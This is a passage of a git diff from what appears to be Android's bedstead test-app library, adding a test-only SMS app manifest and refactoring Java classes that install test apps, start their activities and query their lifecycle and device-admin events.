+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.testapp.SmsApp">
+
+    <uses-permission android:name="android.permission.READ_SMS"/>
+
+    <application
+        android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory"
+        android:testOnly="true">
+
+        <!-- BroadcastReceiver that listens for incoming SMS messages -->
+        <receiver android:name=".SmsReceiver"
+                  android:permission="android.permission.BROADCAST_SMS"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
+            </intent-filter>
+        </receiver>
+
+        <!-- BroadcastReceiver that listens for incoming MMS messages -->
+        <receiver android:name=".MmsReceiver"
+                  android:permission="android.permission.BROADCAST_WAP_PUSH"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
+            </intent-filter>
+        </receiver>
+
+        <!-- Activity that allows the user to send new SMS/MMS messages -->
+        <activity android:name=".SmsSenderActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
+            </intent-filter>
+        </activity>
+
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
+        <service android:name=".HeadlessSmsSendService"
+                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
+            </intent-filter>
+        </service>
+    </application>
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/library/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/library/main/AndroidManifest.xml
similarity index 84%
rename from common/device-side/bedstead/testapp/src/main/library/AndroidManifest.xml
rename to common/device-side/bedstead/testapp/src/library/main/AndroidManifest.xml
index dc5831b..fe87fb4 100644
--- a/common/device-side/bedstead/testapp/src/main/library/AndroidManifest.xml
+++ b/common/device-side/bedstead/testapp/src/library/main/AndroidManifest.xml
@@ -18,7 +18,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.bedstead.testapp.library">
-    <uses-sdk android:minSdkVersion="28" />
+    <uses-sdk android:minSdkVersion="27" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" android:maxSdkVersion="30" />
     <application>
     </application>
 </manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/NotFoundException.java
similarity index 90%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/NotFoundException.java
index 669bb13..55e5831e 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/NotFoundException.java
@@ -19,6 +19,6 @@
 /** {@link Exception} thrown when a query doesn't match any test apps. */
 public class NotFoundException extends RuntimeException {
     public NotFoundException(TestAppQueryBuilder query) {
-
+        super("Could not find testapp matching query: " + query.describeQuery(null));
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
new file mode 100644
index 0000000..ac75967
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.Users;
+import com.android.bedstead.testapp.processor.annotations.TestAppSender;
+import com.android.queryable.info.ActivityInfo;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Objects;
+import java.util.Set;
+
+/** Represents a single test app which can be installed and interacted with. */
+@TestAppSender
+public final class TestApp {
+    // Must be instrumentation context to access resources
+    private static final Context sContext = TestApis.context().instrumentationContext();
+    private final TestAppDetails mDetails;
+
+    TestApp(TestAppDetails details) {
+        if (details == null) {
+            throw new NullPointerException();
+        }
+        mDetails = details;
+    }
+
+    /**
+     * Get a {@link Package} for the {@link TestApp}.
+     *
+     * <p>This will only be resolvable after the app is installed.
+     */
+    public Package pkg() {
+        return TestApis.packages().find(packageName());
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the instrumented user.
+     *
+     * <p>See {@link Users#instrumented()}
+     */
+    public TestAppInstance install() {
+        return install(TestApis.users().instrumented());
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the given {@link UserReference}.
+     */
+    public TestAppInstance install(UserReference user) {
+        try {
+            pkg().installBytes(user, this::apkBytes);
+        } catch (NeneException e) {
+            throw new NeneException("Error while installing TestApp " + this, e);
+        }
+
+        return new TestAppInstance(this, user);
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the given {@link UserHandle}.
+     */
+    public TestAppInstance install(UserHandle user) {
+        install(TestApis.users().find(user));
+        return instance(user);
+    }
+
+    /**
+     * Uninstall the {@link TestApp} on the device from the instrumented user.
+     *
+     * <p>See {@link Users#instrumented()}
+     */
+    public void uninstall() {
+        uninstall(TestApis.users().instrumented());
+    }
+
+    /**
+     * Uninstall the {@link TestApp} from the device from all users.
+     */
+    public void uninstallFromAllUsers() {
+        pkg().uninstallFromAllUsers();
+    }
+
+    /**
+     * Uninstall the {@link TestApp} on the device from the given {@link UserReference}.
+     */
+    public void uninstall(UserReference user) {
+        pkg().uninstall(user);
+    }
+
+    /**
+     * Uninstall the {@link TestApp} on the device from the given {@link UserHandle}.
+     */
+    public void uninstall(UserHandle user) {
+        uninstall(TestApis.users().find(user));
+    }
+
+    /**
+     * Get a reference to the specific instance of this test app on a given user.
+     *
+     * <p>This does not check if the user exists, or if the test app is installed on the user.
+     */
+    public TestAppInstance instance(UserHandle user) {
+        return instance(TestApis.users().find(user));
+    }
+
+    /**
+     * Get a reference to the specific instance of this test app on a given user.
+     *
+     * <p>This does not check if the user exists, or if the test app is installed on the user.
+     */
+    public TestAppInstance instance(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        return new TestAppInstance(this, user);
+    }
+
+    private byte[] apkBytes() {
+        try (InputStream inputStream =
+                     sContext.getResources().openRawResource(mDetails.mResourceIdentifier)) {
+            return readInputStreamFully(inputStream);
+        } catch (IOException e) {
+            throw new NeneException("Error when reading TestApp bytes", e);
+        }
+    }
+
+    /** Write the APK file to the given {@link File}. */
+    public void writeApkFile(File outputFile) throws IOException {
+        outputFile.getParentFile().mkdirs();
+        try (FileOutputStream output = new FileOutputStream(outputFile)) {
+            output.write(apkBytes());
+        }
+    }
+
+    /** The package name of the test app. */
+    public String packageName() {
+        return mDetails.mApp.getPackageName();
+    }
+
+    /** The testOnly attribute for the test app. */
+    public boolean testOnly() {
+        return mDetails.mApp.getTestOnly();
+    }
+
+    /** The minSdkVersion of the test app. */
+    public int minSdkVersion() {
+        return mDetails.mApp.getUsesSdk().getMinSdkVersion();
+    }
+
+    /** The maxSdkVersion of the test app. */
+    public int maxSdkVersion() {
+        return mDetails.mApp.getUsesSdk().getMaxSdkVersion();
+    }
+
+    /** The targetSdkVersion of the test app. */
+    public int targetSdkVersion() {
+        return mDetails.mApp.getUsesSdk().getTargetSdkVersion();
+    }
+
+    /** The permissions declared by the test app. */
+    public Set<String> permissions() {
+        return mDetails.mPermissions;
+    }
+
+    /** The activities which exist in the test app. */
+    public Set<ActivityInfo> activities() {
+        return mDetails.mActivities;
+    }
+
+    /**
+     * The metadata declared by the test app.
+     *
+     * <p>Note that currently all values are of type String.
+     */
+    public Bundle metadata() {
+        return mDetails.mMetadata;
+    }
+
+    @Override
+    public String toString() {
+        return "TestApp{"
+                + "packageName=" + packageName()
+                + ", details=" + mDetails
+                + "}";
+    }
+
+    /** The shared user id of the test app, if any. */
+    @Nullable
+    public String sharedUserId() {
+        return mDetails.sharedUserId();
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (!(o instanceof TestApp)) return false;
+        TestApp testApp = (TestApp) o;
+        return mDetails.mApp.getPackageName().equals(testApp.mDetails.mApp.getPackageName());
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(mDetails.mApp.getPackageName());
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
similarity index 82%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
index 141f6f8..d95def6 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
@@ -18,7 +18,6 @@
 
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.util.Log;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.queryable.info.ActivityInfo;
@@ -31,18 +30,16 @@
  */
 public final class TestAppActivities {
 
-    private static final TestApis sTestApis = new TestApis();
-
-    final TestAppInstanceReference mInstance;
+    final TestAppInstance mInstance;
     private Set<ActivityInfo> mActivities = null;
 
-    static TestAppActivities create(TestAppInstanceReference instance) {
+    static TestAppActivities create(TestAppInstance instance) {
         TestAppActivities activities = new TestAppActivities(instance);
         return activities;
     }
 
 
-    private TestAppActivities(TestAppInstanceReference instance) {
+    private TestAppActivities(TestAppInstance instance) {
         mInstance = instance;
     }
 
@@ -53,9 +50,10 @@
 
         mActivities = new HashSet<>();
 
-        PackageManager p = sTestApis.context().instrumentedContext().getPackageManager();
+        PackageManager p = TestApis.context().instrumentedContext().getPackageManager();
         try {
-            PackageInfo packageInfo = p.getPackageInfo(mInstance.testApp().packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
+            PackageInfo packageInfo = p.getPackageInfo(
+                    mInstance.packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
             for (android.content.pm.ActivityInfo activityInfo : packageInfo.activities) {
                 if (activityInfo.name.startsWith("androidx")) {
                     // Special case: androidx adds non-logging activities
@@ -80,6 +78,9 @@
         return query().get();
     }
 
+    /**
+     * Query for an Activity.
+     */
     public TestAppActivitiesQueryBuilder query() {
         return new TestAppActivitiesQueryBuilder(this);
     }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
similarity index 76%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
index 97ccfbe..761dec6 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
@@ -30,8 +30,6 @@
  */
 public final class TestAppActivitiesQueryBuilder implements Queryable {
 
-    private static final TestApis sTestApis = new TestApis();
-
     private final TestAppActivities mTestAppActivities;
     private ActivityQueryHelper<TestAppActivitiesQueryBuilder> mActivity =
             new ActivityQueryHelper<>(this);
@@ -40,21 +38,35 @@
         mTestAppActivities = testAppActivities;
     }
 
+    /** Query by activity. */
     public ActivityQuery<TestAppActivitiesQueryBuilder> whereActivity() {
         return mActivity;
     }
 
+    /** Get the activity which matches the query. */
     public TestAppActivityReference get() {
-        Iterator<com.android.queryable.info.ActivityInfo> activityIterator = mTestAppActivities.activities().iterator();
+        Iterator<com.android.queryable.info.ActivityInfo> activityIterator =
+                mTestAppActivities.activities().iterator();
 
         while (activityIterator.hasNext()) {
             com.android.queryable.info.ActivityInfo activity = activityIterator.next();
             if (ActivityQueryHelper.matches(mActivity, activity)) {
                 activityIterator.remove();
-                return new UnresolvedTestAppActivity(mTestAppActivities.mInstance, sTestApis.packages().component(new ComponentName(mTestAppActivities.mInstance.testApp().packageName(), activity.className())));
+                return new UnresolvedTestAppActivity(mTestAppActivities.mInstance,
+                        TestApis.packages().component(
+                                new ComponentName(
+                                        mTestAppActivities.mInstance.packageName(),
+                                        activity.className())));
             }
         }
 
         throw new IllegalStateException("No matching unused activity for query");
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return "{" + Queryable.joinQueryStrings(
+                mActivity.describeQuery("activity")
+        ) + "}";
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivity.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
similarity index 81%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivity.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
index f804866..da613e0 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.testapp;
 
 import android.app.Activity;
+import android.os.UserHandle;
 
 import com.android.bedstead.nene.activities.NeneActivity;
 import com.android.bedstead.nene.packages.ComponentReference;
@@ -27,9 +28,14 @@
  * <p>Many of the APIs exposed by this class perform a remote call and will make the call on the
  * actual {@link Activity} instance inside the test app.
  */
-public abstract class TestAppActivity extends TestAppActivityReference implements NeneActivity {
-    TestAppActivity(TestAppInstanceReference instance,
-            ComponentReference component) {
+public abstract class TestAppActivity extends TestAppActivityReference implements
+        NeneActivity {
+    TestAppActivity(TestAppInstance instance, ComponentReference component) {
         super(instance, component);
     }
+
+    @Override
+    public UserHandle getUser() {
+        return testAppInstance().user().userHandle();
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
new file mode 100644
index 0000000..fe06700
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.ComponentReference;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.eventlib.events.activities.ActivityEvents;
+
+/**
+ * A reference to an activity in a test app for which there may or may not be an instance.
+ */
+public abstract class TestAppActivityReference {
+
+    final TestAppInstance mInstance;
+    final ComponentReference mComponent;
+
+    TestAppActivityReference(
+            TestAppInstance instance,
+            ComponentReference component) {
+        mInstance = instance;
+        mComponent = component;
+    }
+
+    /** Gets the {@link TestAppInstance} this activity exists in. */
+    public TestAppInstance testAppInstance() {
+        return mInstance;
+    }
+
+    /** Gets the {@link ComponentReference} for this activity. */
+    public ComponentReference component() {
+        return mComponent;
+    }
+
+    /**
+     * Starts the activity.
+     */
+    public com.android.bedstead.nene.activities.Activity<TestAppActivity> start() {
+        Intent intent = new Intent();
+        intent.setComponent(mComponent.componentName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+
+        if (mInstance.user().equals(TestApis.users().instrumented())) {
+            TestApis.context().instrumentedContext().startActivity(intent);
+        } else {
+            try (PermissionContext p =
+                         TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                TestApis.context().androidContextAsUser(mInstance.user()).startActivity(intent);
+            }
+        }
+
+        events().activityStarted().waitForEvent();
+
+        return TestApis.activities().wrap(
+                TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
+    }
+
+    /**
+     * Starts the activity.
+     */
+    public com.android.bedstead.nene.activities.Activity<TestAppActivity> start(Bundle options) {
+        // TODO(scottjonathan): Use a connected call to ensure this succeeds cross-user
+        Intent intent = new Intent();
+        intent.setComponent(mComponent.componentName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            TestApis.context().instrumentedContext().startActivity(intent, options);
+        }
+
+        events().activityStarted().waitForEvent();
+
+        return TestApis.activities().wrap(
+                TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
+    }
+
+    /**
+     * Query events for this activity.
+     */
+    public ActivityEvents events() {
+        return ActivityEvents.forActivity(new TestAppActivityImpl(mInstance, mComponent));
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppBinder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
similarity index 76%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppBinder.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
index 68d12dd..282b68d 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppBinder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
@@ -36,11 +36,9 @@
 
     private static final String LOG_TAG = TestAppBinder.class.getName();
 
-    private static final TestApis sTestApis = new TestApis();
+    private final TestAppInstance mTestAppInstance;
 
-    private final TestAppInstanceReference mTestAppInstance;
-
-    public TestAppBinder(TestAppInstanceReference testAppInstance) {
+    public TestAppBinder(TestAppInstance testAppInstance) {
         mTestAppInstance = testAppInstance;
     }
 
@@ -54,13 +52,26 @@
 
         Intent bindIntent = new Intent();
         bindIntent.setComponent(new ComponentName(
-                mTestAppInstance.testApp().packageName(),
+                mTestAppInstance.packageName(),
                 bindToService.getClassName()));
 
         Log.i(LOG_TAG, "Attempting to bind to " + bindIntent);
 
+        if (mTestAppInstance.user().equals(TestApis.users().instrumented())) {
+            try {
+                return context.bindServiceAsUser(bindIntent,
+                        connection, /* flags= */ BIND_AUTO_CREATE,
+                        mTestAppInstance.user().userHandle());
+            } catch (Exception e) {
+                // TODO(scottjonathan): This should actually be communicated back...
+                //  (catch the exception outside of the tryBind call)
+                Log.e(LOG_TAG, "Error binding", e);
+                return false;
+            }
+        }
+
         try (PermissionContext p =
-                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
             return context.bindServiceAsUser(bindIntent,
                     connection, /* flags= */ BIND_AUTO_CREATE,
                     mTestAppInstance.user().userHandle());
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
new file mode 100644
index 0000000..b9b34ec
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/** Details about a queryable test app. */
+class TestAppDetails {
+    TestappProtos.AndroidApp mApp;
+    int mResourceIdentifier;
+    final Bundle mMetadata = new Bundle();
+    final Set<String> mPermissions = new HashSet<>();
+    final Set<ActivityInfo> mActivities = new HashSet<>();
+    final Set<ServiceInfo> mServices = new HashSet<>();
+
+    /**
+     * Get the shared user ID of the test app, or {@code Null} if none.
+     */
+    @Nullable
+    public String sharedUserId() {
+        if (mApp.getSharedUserId().isEmpty()) {
+            return null;
+        }
+
+        return mApp.getSharedUserId();
+    }
+
+    @Override
+    public String toString() {
+        return "TestAppDetails{"
+                + "mApp=" + mApp
+                + ", mResourceIdentifier=" + mResourceIdentifier
+                + ", mMetadata=" + mMetadata
+                + ", mPermissions=" + mPermissions
+                + ", mActivities=" + mActivities
+                + ", mServices=" + mServices
+                + '}';
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
new file mode 100644
index 0000000..2a925dd
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
@@ -0,0 +1,310 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.activities.ActivityDestroyedEvent;
+import com.android.eventlib.events.activities.ActivityEvents;
+import com.android.eventlib.events.activities.ActivityPausedEvent;
+import com.android.eventlib.events.activities.ActivityRestartedEvent;
+import com.android.eventlib.events.activities.ActivityResumedEvent;
+import com.android.eventlib.events.activities.ActivityStartedEvent;
+import com.android.eventlib.events.activities.ActivityStoppedEvent;
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceiverEvents;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportFailedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportSharedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportSharingDeclinedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminChoosePrivateKeyAliasEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisableRequestedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminEnabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminLockTaskModeEnteringEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminLockTaskModeExitingEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminNetworkLogsAvailableEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminOperationSafetyStateChangedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordExpiringEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordFailedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordSucceededEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminProfileProvisioningCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminReadyForUserInitializationEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminReceiverEvents;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSecurityLogsAvailableEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSystemUpdatePendingEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminTransferOwnershipCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserAddedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserRemovedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserStartedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserStoppedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserSwitchedEvent;
+
+/**
+ * Quick access to events on this test app.
+ *
+ * <p>Additional filters can be added to the returned object.
+ *
+ * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+ */
+public class TestAppEvents implements ActivityEvents, BroadcastReceiverEvents,
+        DeviceAdminReceiverEvents {
+
+    private final TestAppInstance mTestApp;
+
+    TestAppEvents(TestAppInstance testApp) {
+        mTestApp = testApp;
+    }
+
+    @Override
+    public ActivityCreatedEvent.ActivityCreatedEventQuery activityCreated() {
+        return ActivityCreatedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public ActivityDestroyedEvent.ActivityDestroyedEventQuery activityDestroyed() {
+        return ActivityDestroyedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public ActivityPausedEvent.ActivityPausedEventQuery activityPaused() {
+        return ActivityPausedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public ActivityRestartedEvent.ActivityRestartedEventQuery activityRestarted() {
+        return ActivityRestartedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public ActivityResumedEvent.ActivityResumedEventQuery activityResumed() {
+        return ActivityResumedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public ActivityStartedEvent.ActivityStartedEventQuery activityStarted() {
+        return ActivityStartedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public ActivityStoppedEvent.ActivityStoppedEventQuery activityStopped() {
+        return ActivityStoppedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public BroadcastReceivedEvent.BroadcastReceivedEventQuery broadcastReceived() {
+        return BroadcastReceivedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminBugreportFailedEvent.DeviceAdminBugreportFailedEventQuery bugReportFailed() {
+        return DeviceAdminBugreportFailedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminBugreportSharedEvent.DeviceAdminBugreportSharedEventQuery bugReportShared() {
+        return DeviceAdminBugreportSharedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminBugreportSharingDeclinedEvent.DeviceAdminBugreportSharingDeclinedEventQuery bugReportSharingDeclined() {
